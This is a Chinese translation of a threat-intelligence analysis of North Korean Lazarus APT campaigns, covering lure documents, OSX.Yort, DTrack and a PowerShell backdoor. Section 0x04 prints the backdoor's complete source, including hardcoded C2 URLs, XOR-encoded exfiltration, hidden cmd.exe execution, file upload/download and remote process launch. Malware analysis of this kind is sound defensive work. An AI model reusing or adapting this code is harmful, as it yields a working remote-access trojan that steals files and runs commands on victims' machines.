朝鲜APT组织Lazarus近期攻击活动分析
2019-11-19 11:22:07 Author: www.4hou.com(查看原文) 阅读量:163 收藏

导语:Lazarus APT组织是一个长期活跃的组织,因为2014年攻击索尼影业而开始受到广泛关注,该组织早期主要针对韩国,美国等国家的政府机构进行攻击活动,以窃取情报等信息为目的。自2014年后,该组织开始针对全球金融机构,加密交易机构等为目标,进行敛财活动。

Lazarus APT组织是一个长期活跃的组织,因为2014年攻击索尼影业而开始受到广泛关注,该组织早期主要针对韩国,美国等国家的政府机构进行攻击活动,以窃取情报等信息为目的。自2014年后,该组织开始针对全球金融机构,加密交易机构等为目标,进行敛财活动。

0x01 CES 2020事件分析(NukeSped)

下面的这个文档专门针对韩国参展商,标题如下:美国拉斯维加斯CES 2020申请表。

最初的感染是通过CVE-2017-8291漏洞利用开始的,它允许通过.rsdparams类型的混淆和.eps文档中的“ / OutputFile(%pipe%)”字符串进行远程命令执行。并执行下一阶段的感染。

这里首先执行RtlCaptureContext函数,它能够记录顶级异常处理程序并避免调试。

完成上面这个操作之后,恶意软件将会进行一系列的操作,比如列出磁盘,进程,文件,并将其作为临时文件推送到不同的文件中,然后等待将数据发送到C2。

RAT在C2中进行cookie设置和标识Guid。

然后获取要联系的C2地址列表,开始与C2联系的,以便提供主机信息。

使用的语言列表:

有趣的是,不仅选择了韩国语言,而且显示出所有参展商(仅韩国有一百多家参展商)。这可能是因为该活动的管理团队为客户提供了专门用于演出的硬件,这解释了为什么不包括韩国这样的特定语言。如果目标对该组感兴趣,则可以在受感染的计算机中执行命令和其他工具。

在所有使用的域名列表中,我们可以看到所有这些域名都是不同的云提供商,并且是合法网站被易受攻击的wordpress所劫持。

我们可以通过Whois记录和网站上发布的证书来确认这一点,所有网站都知道该证书在2019年8月上旬至2019年9月之间存在。

0x02 HAL事件分析(JakyllHyde)

该文件专门针对印度国家航空的印度斯坦航空有限公司(HAL)。他们使用虚假公告招募目标人群,或者招募内部员工征求他们对公告的意见。

攻击向量是一个恶意文件,它用宏来删除并执行植入程序。第一个模块是一个函数声明,用于加载将来提取的dll。

下一个模块具有多种功能,例如从基数64以二进制和字符串形式解码,验证文件夹/文件的路径,创建文件夹以及根据操作系统的版本从表格中提取正确的有效负载。

以下模块具有提取功能并且可以获取dll的名称。

我们可以在文档的开头看到自动打开的功能,用于执行宏,而在base64中可以看到恶意软件的数据。

使用的宏是开源github工具“ Macro_pack”中可用的宏之一。

后门开始执行侦察动作,例如列出进程,系统信息(用户名,计算机名…)

在此之后,按照C2的顺序列出计算机上的所有磁盘以及当前工作目录中的所有文件。

这有可能拦截击键(将其推送到临时文件中),进行屏幕截图以及按字节数据流发送文件。

如果攻击者想要的话,还可以发送给攻击者。

通过证书,我们可以看到该网站自2018年以来一直处于运行状态,似乎是一个合法的网站被劫持了。

像上次的事件一样,Lazarus也试图获得高技术信息,这可能是因为HAL正在合作生产并使用印度国家的新型法国军用飞机。

0x03 OSX恶意软件分析(OSX.Yort)

最初的使用带有VBA宏的恶意软件去感染,它分为两部分,一个用于感染的MacOSX,另一个用于Windows。我们可以看到MacOSX的函数声明,以及在Windows版本上获取有效负载的四个分散函数之一。

在这里,我们可以根据AutoOpen中的操作系统观察有效负载的启动(在打开Excel或Word文档时运行宏)。

后门由单个循环组成,该循环加载配置并创建一个会话以等待C2的请求。可以更新配置,并且恶意软件可以休眠,直到C2给出延迟。

许多发送和获取数据的功能都是基于通用代码派生而来,并具有最终执行的特定操作。

这其中的每一个函数,都会启动并推送用于与C2通信的参数。

这可以像响应脉冲一样继续响应C2(ReplyDie),下载文件(ReplyDown),下载并执行文件(ReplyExec),执行命令(Replycmd)或打开另一个CLI(ReplyOtherShellCmd)。

我们可以在C2上推送的数据中看到使用“0xAA”值执行异或。

该恶意软件没有持久性,但是通过可以执行命令的事实,攻击者可以在必要时决定推送持久性,当攻击者关闭会话并且正确关闭后门又返回会话时,将执行功能。

卡巴斯基对Yort在后门功能上的分析表明:

(1)设置睡眠时间(C2交互之间的延迟)

(2)退出会议

(3)收集基本主机信息

(4)检查恶意软件状态

(5)显示当前的恶意软件配置

(6)更新恶意软件配置

(7)执行系统外壳命令

(8)下载和上传文件

在字符串上发现了Yort的另一个示例,其中包含经过重新编辑的Flash Player安装程序。我们可以看到,这是重建的版本10.2。

我们可以在安装合法Flash Player的主要功能中看到用于更新的检查程序软件,以避免对用户可疑并启动后门。

这将加载Yort的配置和选项,其余部分与以前的Yort示例相同。

0x04 Powershell后门(Powershell/NukeSped)

此后门使用Powershell语言,该恶意软件的第一个整体是配置的全局值,要联系的URL列表和控制值。

 $global:breakvalue=1
 $global:mbz=132608
 $global:tid=0
 $global:url="https://crabbedly.club/board.php","https://craypot.live/board.php","https://indagator.club/board.php"
 $global:nup=0
 $global:nwct=0

后门执行while循环,直到销毁会话的顺序将变量“ breakvalue”的值为0。

 
 function main()
 {
   $global:tid=Get-Random -Minimum 128 -Maximum 16383
   while($global:breakvalue)
   {
     Try
     {
       if($global:nwct -gt 0){$global:nwct=$global:nwct- 1}
       if($global:nwct -le 0){ if (PulsetoC2(16) -eq $true){Start-Sleep -s 4; command($global:url[$global:nup])} }
     }
     Catch{}
     if($global:breakvalue -ne 1){break}
     Start-Sleep -s 60
   }
 }
 try{Remove-Item -Path $MyInvocation.MyCommand.Source}catch{}
 main

根据C2进行ID推送的结果,这将在受感染的计算机中执行以下操作。

 
 function command($url)
 {
   try
   {
     while($global:breakvalue)
     {
       $rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
       if($rq -eq $null){break}
       $basefunctions=DecryptC2Data $rq $global:mbz
       if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
       $nmsg=ConverttoInt32 $basefunctions 0
       $nmlen=ConverttoInt32 $basefunctions 8
       if($basefunctions.length -ne ($nmlen+12)){break}
       $cres=0
       if($nmsg -eq 2){$cres=slp $basefunctions}
       elseif($nmsg -eq 3){$cres=diconnect}
       elseif($nmsg -eq 11){$cres=Set-SysInfo}
       elseif($nmsg -eq 12){$cres=kalv}
       elseif($nmsg -eq 14){$cres=Get-actions}
       elseif($nmsg -eq 15){$cres=Set-actions $basefunctions}
       elseif($nmsg -eq 18){$cres=Set-command $basefunctions}
       elseif($nmsg -eq 20){$cres=upload $basefunctions}
       elseif($nmsg -eq 21){$cres=download $basefunctions}
       elseif($nmsg -eq 24){$cres=launch_process $basefunctions}
       else{break}
       if($cres -eq 0){break}
       Start-Sleep -s 1
     }
     Start-Sleep -s 4
     if(PulsetoC2(17) -eq $true){}
   }
   catch{}
 }

下一个模块包含用于复制字节并从不同编码转换为数据的函数。

 
 function CopyBytes($DatatoCopy,$dst,$dstOffset)
 {
   $Bytes=[System.BitConverter]::GetBytes($DatatoCopy)
   return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
 }
 function CopyBytes_UTF8($DatatoCopy,$dst,$dstOffset)
 {
   $Bytes=[System.Text.ASCIIEncoding]::UTF8.GetBytes($DatatoCopy)
   return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
 }
 function ConverttoInt32($buffer,$Offset){ return [System.BitConverter]::ToInt32($buffer,$Offset) }
 function Get_UTF8Bytes($Data){ return [System.Text.ASCIIEncoding]::UTF8.GetBytes($Data) }

以下功能用于从C2发送和获取数据。我们可以注意到,用户代理与MacOS后门相同。

 function senddata($tid,$rid,$array_data,$DatatoC2_Length,$url)
 {
   try
   {
     if($array_data -eq $null){$array_data=New-Object byte[] 0}
     $ID=-join((48..57)|Get-Random -Count 12|%{[char]$_}) #10 random numbers
     $filename=-join((48..57)|Get-Random -Count 12|%{[char]$_})+".dat" # LIKE 5216804379.dat by example
     $date_msg="--" + (Get-Date -Format yyyy-MM-dd-hh-mm-ss-fffffff) + "--"
     $netobject=[System.Net.WebRequest]::create($url + "?v=" + $ID)
     $netobject.Method="POST"
     $netobject.ContentType="multipart/form-data; boundary=$date_msg"
     $netobject.TimeOut=120000
     $netobject.ReadWriteTimeout=120000
     $netobject.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
     $pbdy=Get_UTF8Bytes("`r`n`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_f`"`r`n`r`n" + $tid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_s`"`r`n`r`n" + $rid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"file`"; filename=`"" + $filename + "`"`r`nContent-Type: octet-stream`r`n`r`n")
     $ebdy=Get_UTF8Bytes("`r`n--" + $date_msg + "`r`n")
     $netobject.ContentLength=$pbdy.Length + $DatatoC2_Length + $ebdy.Length;
     $StreamObject=$netobject.GetRequestStream()
     $StreamObject.Write($pbdy,0,$pbdy.Length)
     $StreamObject.Flush()
     if($DatatoC2_Length -gt 0)
     {
       $StreamObject.Write($array_data,0,$DatatoC2_Length)
       $StreamObject.Flush()
     }
     $StreamObject.Write($ebdy,0,$ebdy.Length)
     $StreamObject.Flush()
     $StreamObject.Close()
     return $netobject
   }
   catch{return $null}
 }
 function GetResponseC2($netobject,$mxz)
 {
   try
   {
     $response=$netobject.GetResponse()
     if($response.StatusCode -eq "OK")
     {
       $stream=$response.GetResponseStream()
       $byteobject=New-Object byte[] $mxz
       $val=0
       $response_length=$byteobject.Length
       if($response_length -gt $response.ContentLength){$response_length=$response.ContentLength}
       while($val -lt $response_length)
       {
       $dataread=$stream.Read($byteobject,$val,$response_length-$val)
       if($dataread -le 0){break}
       $val=$val+$dataread
       }
       if($val -ne 0)
       {
         if($val -eq 1){$byteobject2=New-Object byte[] 2}
         else
         {
           $byteobject2=New-Object byte[] $val}
           [System.Buffer]::BlockCopy($byteobject,0,$byteobject2,0,$val)
       }
       else{$byteobject2=New-Object byte[] 2}
       $response.Close()
       $r.Close()
       $r.Dispose()
       return $byteobject2
     }
     else{return $null} 
   }
   catch{return $null}
 }

接下来的两个函数使用相同的XOR值"0xAA"对C2中的数据进行加密和解密。我们可以再次注意到,与MacOS后门中的XOR值相同。

 
 function PushDatatoC2($tid,$rid,$bd,$DatatoC2_Length,$url)
 {
   if($DatatoC2_Length -gt 0){ for($i=0;$i -lt $DatatoC2_Length; $i++){$bd[$i]=$bd[$i] -bxor 0xAA} }
   return senddata $tid $rid $bd $DatatoC2_Length $url
 }
 function DecryptC2Data($netobject,$mxz)
 {
   $DataC2=GetResponseC2 $netobject $mxz
   if($DataC2 -ne $null){for($i=0; $i -lt $DataC2.length; $i++){ $DataC2[$i] = $DataC2[$i] -bxor 0xAA }}
   return $DataC2
 }

像MacOS后门一样,我们观察到后方有多个用于与C2通信的mod,并且取决于C2的初始回复。

 function updatemod1()
 {
   $trigger=0
   do
   {
     $byteobject=New-Object byte[] 12
     CopyBytes 5 $byteobject 0
     CopyBytes 0 $byteobject 4
     CopyBytes 0 $byteobject 8
     $response=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
     if($response -eq $null){break}
     $byteobject=DecryptC2Data $response $global:mbz
     if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
     $trigger=1
   }while($false)
   return $trigger
 }
 function updatemod2()
 {
   $trigger=0
   do
   {
 
     $byteobject=New-Object byte[] 16
     CopyBytes 4 $byteobject 0
     CopyBytes 0 $byteobject 4
     CopyBytes 4 $byteobject 8
     CopyBytes 0 $byteobject 12
     $rq=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
     if($rq -eq $null){break}
     $byteobject=DecryptC2Data $rq $global:mbz
     if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
     $trigger=1
   } while($false)
   return $trigger
 }
 function updatemod3($nmsg)
 {
   $trigger=0
   do
   {
 
     $byteobject=New-Object byte[] 12
     CopyBytes $nmsg $byteobject 0
     CopyBytes 0 $byteobject 4
     CopyBytes 0 $byteobject 8
     $rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
     if($rq -eq $null){break}
     $byteobject=DecryptC2Data $rq $global:mbz
     if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
     $nmsg=ConverttoInt32 $byteobject 0
     $nmlen=ConverttoInt32 $byteobject 8
     if($byteobject.length -ne ($nmlen+12)){break}
     if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
     $trigger=1
   } while($false)
   return $trigger
 }

这样可以将后门设置为待机状态,关闭当前会话并获取系统信息。

 
 function slp($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     if($nmlen -ne 4){break}
     $global:nwct=ConverttoInt32 $buf 12
     $trigger=updatemod1
     $trigger=0
   } while($false)
   return $trigger
 }
 function disconnect()
 {
   $trigger=0
   do
   {
     $trigger=updatemod1
     if($trigger -eq 0){break}
     $trigger=1
     $global:breakvalue=0
   } while($false)
   return $trigger
 }
 function Set-SysInfo()
 {
   $trigger=0
   do
   {
     $hostnamename=$env:COMPUTERNAME
     $ip=(Test-Connection -ComputerName $hostname -Count 1  | Select -ExpandProperty IPV4Address).Address
     $OS=[System.Environment]::OSVersion.Version
     $OS_major=$OS.major
     $OS_minor=$OS.minor
     $byteobject=New-Object byte[] 300
     CopyBytes 11 $byteobject 0
     CopyBytes 0 $byteobject 4
     CopyBytes 288 $byteobject 8
     CopyBytes_UTF8 $hostname $byteobject 12
     CopyBytes $ip $byteobject 272
     CopyBytes 1 $byteobject 276
     CopyBytes $OS_major $byteobject 280
     CopyBytes $OS_minor $byteobject 284
     CopyBytes 3 $byteobject 288
     CopyBytes 0 $byteobject 292
     CopyBytes 6 $byteobject 296
     $rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
     if($rq -eq $null){break}
     $byteobject=DecryptC2Data $rq $global:mbz
     if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
     $nmsg=ConverttoInt32 $byteobject 0
     $nmlen=ConverttoInt32 $byteobject 8
     if($byteobject.length -ne ($nmlen+12)){break}
     if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
     $trigger=1
   } while($false)
   return $trigger
 }

这样可以获取操作并推动操作在系统上执行。

 
 function Get-actions()
 {
   $trigger=0
   do
   {
     $nmsg=14
     $nrsv=0
     $nmlen=2152
     $basefunctions=New-Object byte[] 2164
     CopyBytes $nmsg $basefunctions 0
     CopyBytes $nrsv $basefunctions 4
     CopyBytes $nmlen $basefunctions 8
     for($i=0;$i -lt $global:url.length;$i++){CopyBytes_UTF8 $global:url[$i] $basefunctions (84+260*$i)}
     $rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
     if($rq -eq $null){break}
     $basefunctions=DecryptC2Data $rq $global:mbz
     if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
     $nmsg=ConverttoInt32 $basefunctions 0
     $nmlen=ConverttoInt32 $basefunctions 8
     if($basefunctions.length -ne ($nmlen+12)){break}
     if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
     $trigger=1
   } while($false)
   return $trigger
 }
 function Set-actions($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     if($nmlen -ne 2152){break}
     for($i=0;$i -lt $global:url.length;$i++)
     {
       $js=0
       for($js=0;$js -lt 260;$js++){if($buf[(84+260*$i)+$js] -eq 0){break}}
       $global:url[$i] = [System.Text.ASCIIEncoding]::UTF8.GetString($buf, (84+260*$i), $js)
     }
     $trigger=updatemod1
     if($trigger -eq 0){break}
     $trigger=1
   } while($false)
   return $trigger
 }

攻击者可以在另一个CLI中执行特定操作。

 
 function Set-command($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     $arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
     $path=[System.IO.Path]::GetTempFileName()
     $process = New-Object System.Diagnostics.Process
     $pif = New-Object System.Diagnostics.ProcessStartInfo
     $pif.FileName="cmd.exe"
     $pif.CreateNoWindow=$true;
     $pif.WindowStyle="Hidden";
     $pif.Arguments="/c "+$arg+" >"+$path+" 2>&1"
     $process.StartInfo=$pif
     $process.Start() | Out-Null
     $srs=""
     $count=0
   while ($process.HasExited -eq $false)
   {
     if($count -gt 24){break}
     $count=$count+1
     Start-Sleep -s 1
   }
   if([System.IO.File]::Exists($path))
   {
     try
     {
             $content=Get-Content -Path $path; 
             Remove-Item -Path $path;
       if($content.GetType().FullName -eq "System.Object[]")
       {
         for($i=0;$i -lt $content.Length; $i++){$srs=$srs+$content[$i]+"`r`n"}
       }
       else{$srs=$content}
     }
     catch{$srs=""}
   }
   $srsb=Get_UTF8Bytes($srs)
   $trigger= updatemod3 5
   if($trigger -eq 0){break}
   $srsb=Get_UTF8Bytes($srs)
   $ncr=0
   $trigger=1
   while($ncr -lt $srsb.length)
   {
     $ncrs=1024*100
     if($ncrs -gt ($srsb.length-$ncr)){$ncrs=($srsb.length-$ncr)}
     $nmlen=$ncrs
     $basefunctions=New-Object byte[] (12+$ncrs)
     CopyBytes 16 $basefunctions 0
     CopyBytes 0 $basefunctions 4
     CopyBytes $nmlen $basefunctions 8
     for($i=0;$i -lt $ncrs;$i++){$basefunctions[12+$i]=$srsb[$ncr+$i]}
     $rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
     if($rq -eq $null){$trigger=0;break}
     $basefunctions=DecryptC2Data $rq $global:mbz
     if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
     $nmsg=ConverttoInt32 $basefunctions 0
     $nmlen=ConverttoInt32 $basefunctions 8
     if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
     if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
     $ncr=$ncr+$ncrs
     }
     if($trigger -eq 0){break}
     $trigger=updatemod3 17
     if($trigger -eq 0){break}
     $trigger=1
   }while($false)
   return $trigger
 }

最后,它可以在C2上下载和上传文件,向C2发送脉冲,推动触发器并启动新过程(例如推动附加工具)。

 
 function upload($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     $path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
     $fs=$null
     try{$fs=[System.IO.File]::Open($path, [System.IO.FileMode]::Append)}catch{$fs=$null}
     if($fs -eq $null){$trigger=updatemod2;}
     else
     {
       try
       {
         $fl=[int]$fs.length
         $nmsg=5
         $nrsv=0
         $nmlen=4
         $basefunctions=New-Object byte[] 16
         CopyBytes $nmsg $basefunctions 0
         CopyBytes $nrsv $basefunctions 4
         CopyBytes $nmlen $basefunctions 8
         CopyBytes $fl $basefunctions 12
         $rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
         if($rq -eq $null){break}
         $basefunctions=DecryptC2Data $rq $global:mbz
         if(($basefunctions -eq $null) -or ($basefunctions.length -lt 24)){break}
         $nmsg=ConverttoInt32 $basefunctions 0
         $nmlen=ConverttoInt32 $basefunctions 8
         $rfl=ConverttoInt32 $basefunctions 12
         if($basefunctions.length -ne ($nmlen+12)){break}
         if(($nmlen -ne 12) -or ($nmsg -ne 5)){break}
         $trigger=updatemod1
         if($trigger -eq 0){break}
         $bed=0
         while($true)
         {
           $rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
           if($rq -eq $null){$trigger=0;break}
           $basefunctions=DecryptC2Data $rq $global:mbz
           if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
           $nmsg=ConverttoInt32 $basefunctions 0
           $nmlen=ConverttoInt32 $basefunctions 8
           if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
           $fs.Write($basefunctions,12,$nmlen)
           if($nmsg -eq 17){$bed=1}
           $trigger=updatemod1
           if($trigger -eq 0){break}
           if($bed -eq 1){break}
         }
         $fs.Close()
         if($trigger -eq 0){break}
       }
       catch{$fs.Close();break}
     }
     $trigger=1
   } while($false)
   return $trigger
 }
 function download($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     $path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
     $fs=$null
     try{$fs=[System.IO.File]::OpenRead($path)}catch{$fs=$null}
     if($fs -eq $null){$trigger=updatemod2;}
   else
   {
     try
     {
       $fl=$fs.length
       $basefunctions=New-Object byte[] 24
       CopyBytes 5 $basefunctions 0
       CopyBytes 0 $basefunctions 4
       CopyBytes 12 $basefunctions 8
       CopyBytes $fl $basefunctions 12
       CopyBytes 0 $basefunctions 16
       CopyBytes 0 $basefunctions 20
       $rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
       if($rq -eq $null){break}
       $basefunctions=DecryptC2Data $rq $global:mbz
       if(($basefunctions -eq $null) -or ($basefunctions.length -lt 16)){break}
       $nmsg=ConverttoInt32 $basefunctions 0
       $nmlen=ConverttoInt32 $basefunctions 8
       $rfl=ConverttoInt32 $basefunctions 12
       if($basefunctions.length -ne ($nmlen+12)){break}
       if(($nmlen -ne 4) -or ($nmsg -ne 5)){break}
       $trigger=1
       if($rfl -gt $fl){$rfl=$fl}
       $fs.Seek($rfl, [System.IO.SeekOrigin]::Begin)
       while($true)
       {
         $ncrs=1024*100
         $tbf=New-Object byte[] $ncrs
         $nr=$fs.Read($tbf, 0, $tbf.Length)
         if($nr -eq 0){break}
         $nmsg=16
         $nrsv=0
         $nmlen=$nr
         $basefunctions=New-Object byte[] (12+$nr)
         CopyBytes $nmsg $basefunctions 0
         CopyBytes $nrsv $basefunctions 4
         CopyBytes $nmlen $basefunctions 8
         for($i=0;$i -lt $nr;$i++){$basefunctions[12+$i]=$tbf[$i]}
         $rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
         if($rq -eq $null){$trigger=0;break}
         $basefunctions=DecryptC2Data $rq $global:mbz
         if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
         $nmsg=ConverttoInt32 $basefunctions 0
         $nmlen=ConverttoInt32 $basefunctions 8
         if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
         if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
       }
       $fs.close()
       if($trigger -eq 0){break}
       $trigger=updatemod3 17
       if($trigger -eq 0){break}
     }
     catch{$fs.Close();break}
   }
   $trigger=1
   } while($false)
   return $trigger
 }
 function kalv()
 {
   $trigger=0
   do
   {
     $trigger=updatemod1
     if($trigger -eq 0){break}
     $trigger=1
   } while($false)
   return $trigger
 }
 function launch_process($buf)
 {
   $trigger=0
   do
   {
     $nmlen=ConverttoInt32 $buf 8
     $arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
     Start-Process $arg
     $trigger=updatemod1
     if($trigger -eq 0){break}
     $trigger=1
   } while($false)
   return $trigger
 }
 function PulsetoC2($rid)
 {
   $trigger=$false
   if($rid -eq 16){$global:nup=($global:nup + 1) % $global:url.Length}
   $rq=senddata $global:tid $rid $null 0 $global:url[$global:nup]
   if($rq -ne $null)
   {
     $basefunctions=GetResponseC2 $rq $global:mbz
     if(($basefunctions.length -eq 2) -and ($basefunctions[0] -eq 49)){$trigger=$true}
   }
   return $trigger
 }

最后,两个后门具有相同的功能,并且针对两个目标平台使用相同的通用基础结构。

联系的域名列表:

0x05 核电厂事故分析(DTrack)

我们可以观察到一个返回版本日期的函数时间戳,这是sqllite版本的C库(3.21)。

该恶意软件在基础结构中转换,并通过使用默认密码“ abcd @ 123”的远程访问管理共享(C $)来提高特权。

在计算机上执行的敏感操作具有指示CCS_,这可以是DTrack的此自定义有效负载的代码标识符。CCS可以是印度中央政府安全内阁委员会(CCS)的首字母缩写。

Dtrack具有获取Mac地址和网卡适配器信息的能力。

Dtrack可以获取Web浏览器(Chrome和Firefox)的数据,从而解析历史记录,存储的密码和URL。由于许多公司推动在该域中的新计算机中进行部署,Intranet链接,管理链接或与SCADA之类的控制台的链接,因此URl很有趣,这是一种环境识别的好方法。

完成此操作后,Dtrack会列出磁盘和磁盘上的文件,并使用密码dkwero38oerA^[email protected]#将该密码写入本地tmp文件,该密码在lazarus组的所有操作中都是通用的。

但是,与普通版本相比,自定义Dtrack恶意软件不会执行日志,也没有C2 URL可以联系,因此无法进行更多的隐藏操作。在此,举例说明普通DTrack参考和自定义DTrack参考之间的区别。

这可能会给Yara Rule带来问题,因为仅在执行禁用时字符串是相同的。恶意软件未联系的事实表明,另一个后门已被用来启动Dtrack和恢复数据。据报道,朝鲜的金寿基集团正试图为下一代先进的重水反应堆开发一种新设计,该反应堆将or燃烧成燃料核心,并以此方式袭击了许多印度核物理学家。

0x06 IOCs

情报资料列表:

本文翻译自:https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/North%20Korea/APT/Lazarus/23-10-19/analysis.md#this-is-according-with-the-kaspersky-analysis-of-yort-on-the-functions-of-the-backdoor如若转载,请注明原文地址: https://www.4hou.com/web/21608.html


文章来源: https://www.4hou.com/web/21608.html
如有侵权请联系:admin#unsafe.sh